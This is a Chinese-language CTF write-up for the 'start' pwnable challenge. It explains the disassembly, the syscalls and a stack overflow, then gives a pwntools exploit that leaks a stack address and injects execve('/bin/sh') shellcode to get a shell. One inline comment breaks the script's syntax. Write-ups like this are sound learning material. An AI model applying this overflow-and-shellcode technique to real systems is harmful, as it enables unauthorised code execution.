一定要动态调试!!!
发现了汇编的精妙之处(原来你的电脑之间沟通只差一个gdb
)
注:我们gdb-peda
的checksec
可能会出错(开启了NX
机制,谁让你往里面写shellcode
啊) ,要用pwntools
框架的checksec
检测一下。
start入口
.text:08048060 _start proc near
.text:08048060 push esp
.text:08048061 push offset _exit //自己gdb调试得到这是 0804809D 函数结束的地方,我们调用一个总要回到跳出函数
.text:08048066 xor eax, eax //xor 进行异或处理将寄存器清空
.text:08048068 xor ebx, ebx
.text:0804806A xor ecx, ecx
.text:0804806C xor edx, edx
.text:0804806E push 3A465443h //压入我们的字符串
.text:08048073 push 20656874h
.text:08048078 push 20747261h
.text:0804807D push 74732073h
.text:08048082 push 2774654Ch
.text:08048087 mov ecx, esp ; write_addr //
.text:08048089 mov dl, 14h ; len //输入文本的长度
.text:0804808B mov bl, 1 ; fd //文件表示符 1表示标准输出
.text:0804808D mov al, 4 //调用的是write
.text:0804808F int 80h ; LINUX - sys_write //调用程序 int可以理解为我们的call指令
.text:08048091 xor ebx, ebx
.text:08048093 mov dl, 3Ch
.text:08048095 mov al, 3 //调用read函数
.text:08048097 int 80h ; LINUX - read //我们补全为read
.text:08048099 add esp, 14h //将调回栈的开的地方 存储offset _exit的地方
.text:0804809C retn
.text:0804809C _start endp ; sp-analysis failed
结束exit
.text:0804809D _exit proc near ; DATA XREF: _start+1�o
.text:0804809D pop esp
.text:0804809E xor eax, eax
.text:080480A0 inc eax
.text:080480A1 int 80h ; LINUX - sys_exit
.text:080480A1 _exit endp ; sp-analysis failed
.text:080480A1
.text:080480A1 _text ends
.text:080480A1
.text:080480A1
.text:080480A1 end _start
先了解 (linux syscall的资料在这里)
系统调用通过 int 80h
实现,执行时 eax
中为调用的功能号,ebx、ecx、edx
等以此为参数。系统调用号写在/usr/include/asm/unistd.h
中
#define __NR_exit 1
#define __NR_fork 2
#define __NR_read 3
#define __NR_write 4
#define __NR_open 5
又要做图理解了
图片.png结束的时候
注:
有人问为什么'A'*20+write泄露的是esp的地址
程序一开会就先将我们的esp入栈,然后再结束的时候,ret指令被我们改为了write的地址,write的作用的打印出来栈内的数据
payload=任意20字节字符串+p32(调用sys_write的mov ecx, esp地址)
。
注:有人会问我为什么泄露出来了的是esp
的位置(其实就是buf
开始的栈的地址),那payload
的时候'A'*20+esp_addr
(不就行了嘛,为什么要加20
呢)。我们在前面会发现存在(add esp ,0x14
),他的作用就是:输入完,我们要栈清空(跳回我们原来开始输入数据的地方,)(其实+20
是为了跳过add esp,0x14
的检测)我们跳过他的检测,我们shellcode
就可以随便写了,反正获得buf
的地址,后面就随便写啦
注:我们为什么不可以直接将我们的shellcode
,利用ret
返回地址,填写到一个我们可以执行的空间去呢,因为程序给我们的条件太少了,自己还没找到可以利用的可写的bss或者date段。
EXP
from pwn import *
p = process('./start')
#context.log_level = 'debug'
#raw_input()
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
#gdb.attach(p)
write_addr = 0x08048087
payload1 = 'A'*20 + p32(write_addr)
p.send(payload1)
#gdb.attach(p)
p.recvuntil("Let's start the CTF:")
esp = u32(p.recv(4))
#gdb.attach(p)
print "[+]esp_addr:" + hex(esp)
#gdb.attach(p)
offset = 20
payload2 = 'a'*20+ p32(esp+offset) + shellcode + 'a'*100 (栈的初始化地址暴露,我们就可以说获得栈的空间随便可以用了)(针对这道题而已)
p.send(payload2)
p.interactive()
#p.close() ##感觉没撒实际效果,我们只要交互就ok了
网友评论